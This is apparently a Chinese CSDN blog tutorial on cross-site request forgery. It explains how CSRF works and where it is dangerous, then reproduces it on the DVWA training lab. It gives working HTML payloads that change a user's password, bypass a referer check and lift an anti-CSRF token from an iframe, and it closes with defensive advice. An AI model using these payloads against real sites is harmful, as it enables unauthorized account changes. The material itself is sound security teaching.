介绍
CSRF(Cross Site Request Forgery, 跨站请求伪造)是一种网络的攻击方式,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF
CSRF漏洞是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为
原理
用户访问a网址,在a网址的cookie有效期内,又访问了b网址,b网站里含有对a网址进行恶意请求的代码,由于此时a网址的cookie没有过期,所以对不会对这个恶意请求进行过滤
一次CSRF攻击的过程中,受害者需要依次完成两个步骤
1.登录受信任网站A,并在本地生成Cookie
2.在A的cookie存活期内,访问危险网站B
CSRF高危触发点
论坛交流、用户中心、反馈留言、交易管理、后台管理
漏洞出现在论坛交流,或者是个人用户中心和反馈留言这些常规的功能处,会造成隐私的泄露;
漏洞发生在交易管理功能的页面,此时可以进行一些类似转账或者是购买物品的操作,那么用户的资产便会存在安全隐患;
漏洞发生在后台管理的功能处,则会威胁到网站本身的安全性。
漏洞危害
CSRF漏洞会导致受害人在不知情的情况下向论坛发帖子、订阅邮件列表、网购或股票交易,或变更用户名或口令。对受到防火墙保护的所有web应用程序而言,CSRF攻击都能绕过防火墙攻击web应用
伪造HTTP请求进行未授权操作,比如:1.篡改、盗取目标网站上的重要用户数据2.未经允许执行对用户名誉或者资产有害的操作,如散播不良信息、进行消费等3.如果通过使用社工等方式攻击网站管理员,会危害网站本身的安全性
传播CSRF蠕虫
作为其他攻击向量的辅助攻击手法,比如配合XSS
漏洞复现
1.基本漏洞形式(dvwa低级)
构造一个url:http://192.168.0.106/CSRF/1.html,让a网址cookie有效期内的用户点击后对a网址发送请求
1.html内容:
<!DOCTYPE html>
<html lang="en">
<hed>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" alt="">
</body>
</html>
执行效果:
dvwa密码改为123456
2.漏洞防御绕过
2.1Referer验证绕过(dwva中级)
Referer验证原理
HTTP头里的referer字段指定了从哪个页面发起的请求,使用Referer验证请求是否从本地localhost页面发起请求(验证referer里是否包含localhost)
绕过
构造url时文件名改为localhost.html:http://192.168.0.106/CSRF/localhost.html
localhost.html内容:
<!DOCTYPE html>
<html lang="en">
<hed>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" alt="">
</body>
</html>
执行效果:
dvwa密码改为123
2.2Token验证(dwva高级)
原理:
每次访问服务器,服务器会生成一个随机token令牌,在请求时需要将token令牌发送给服务端
绕过
1.html里获取token值,并拼接到请求里
1.html内容:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<iframe name="if1" src="http://localhost/DVWA-master/vulnerabilities/csrf"></iframe>
<script>
window.onload = function(){
var user_token_input = window.frames["if1"].document.getElementsByName("user_token")[0];
alert(user_token_input.value);
document.body.innerHTML+='<img hidden src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token='+user_token_input.value+'#" alt="">'
}
</script>
</body>
</html>
执行效果:
dvwa密码改为password
3.增加验证码验证
无法获取验证码进行绕过
CSRF漏洞总结
CSRF攻击的核心是伪造请求,识别这种的攻击的重点就是判断当前操作是否伪造;通过在当前页面生成随机Token,后端业务逻辑在处理操作时,应该先校验Token的有效性,然后才能处理业务流程。尤其在核心业务中,采用Token+Referer的组合进行操作验证;采用验证码校验操作是因为攻击者无法预知验证码的值,进而无法构造有效的攻击;但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。
来源:CSDN
作者:卖N孩的X火柴
链接:https://blog.csdn.net/wsnbbz/article/details/104652494